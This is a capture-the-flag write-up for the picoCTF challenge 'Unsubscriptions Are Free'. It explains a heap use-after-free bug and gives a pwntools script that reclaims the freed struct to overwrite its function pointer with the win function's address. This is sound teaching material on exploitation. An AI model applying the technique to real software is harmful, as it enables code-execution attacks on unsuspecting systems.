Unsubscriptions Are Free

Published: April 2, 2026

Description

Exploit a use-after-free vulnerability. nc mercury.picoctf.net PORT

Remote

Download the binary and analyze it.

Install pwntools: pip install pwntools

wget <url>/vuln
chmod +x vuln
checksec vuln

Solution

  1. Step 1Identify the use-after-free vulnerability
    Analyze the binary. It allocates a user struct on the heap that contains a function pointer (whatToDo). The unsubscribe option frees this struct but does not clear the pointer -- leaving a dangling pointer. The freed chunk remains accessible through the stale pointer.
    # Disassemble in Ghidra or objdump:
    objdump -d vuln | grep -A20 '<main>'
    # Find the hahaexploitgobrrr (win) function address:
    nm vuln | grep haha
    Learn more

    A use-after-free (UAF) vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed. The freed memory can be reclaimed by subsequent allocations of the same size. If an attacker controls what gets allocated in that memory, they can overwrite the original struct's fields -- including function pointers.

    This vulnerability class is one of the most common in modern exploits (CVE databases list thousands of UAF bugs in browsers, kernels, and server software). The root cause is always the same: failing to null out pointers after free, or maintaining multiple references to the same allocation with inconsistent lifetime tracking.

  2. Step 2Exploit the UAF to hijack the function pointer
    After freeing the user struct, the freed chunk is placed in a tcache or fastbin. Choose the option to send a message of 8 bytes -- this triggers malloc(8) which reuses the freed chunk. Write the address of hahaexploitgobrrr (the win function) as the 8 bytes. When the program subsequently calls whatToDo, it jumps to hahaexploitgobrrr instead.
    python3 << 'EOF' from pwn import * elf = ELF('./vuln') win = elf.sym['hahaexploitgobrrr'] p = remote("mercury.picoctf.net", <PORT>) # Subscribe (allocates struct with function pointer) p.sendlineafter(b">", b"S") p.sendlineafter(b"name:", b"AAAA") # Unsubscribe (frees the struct -- UAF) p.sendlineafter(b">", b"U") # Send a message of size 8 (reuses freed chunk) p.sendlineafter(b">", b"I") # option that allocates 8 bytes p.sendlineafter(b"message:", p64(win)) # Trigger the function pointer call p.sendlineafter(b">", b"I") print(p.recvall().decode()) EOF
    Learn more

    The exploit works because malloc's free lists are LIFO: the last freed chunk of a given size is the first returned by the next malloc of that size. So freeing an 8-byte struct, then calling malloc(8) returns exactly that same memory region.

    By writing p64(win) -- the 8-byte little-endian address of the win function -- into the reclaimed memory, we overwrite the whatToDo function pointer field of the original struct. The next call through that function pointer jumps to hahaexploitgobrrr, which prints the flag.

    pwntools is the standard Python library for binary exploitation. ELF('./vuln') parses the binary and provides symbol lookup. p64() packs a 64-bit integer in little-endian format. sendlineafter() waits for a prompt before sending input.

Flag

picoCTF{...}

After free(), the memory can be reclaimed by the next malloc of the same size -- writing a function address there overwrites the struct's function pointer.

More Binary Exploitation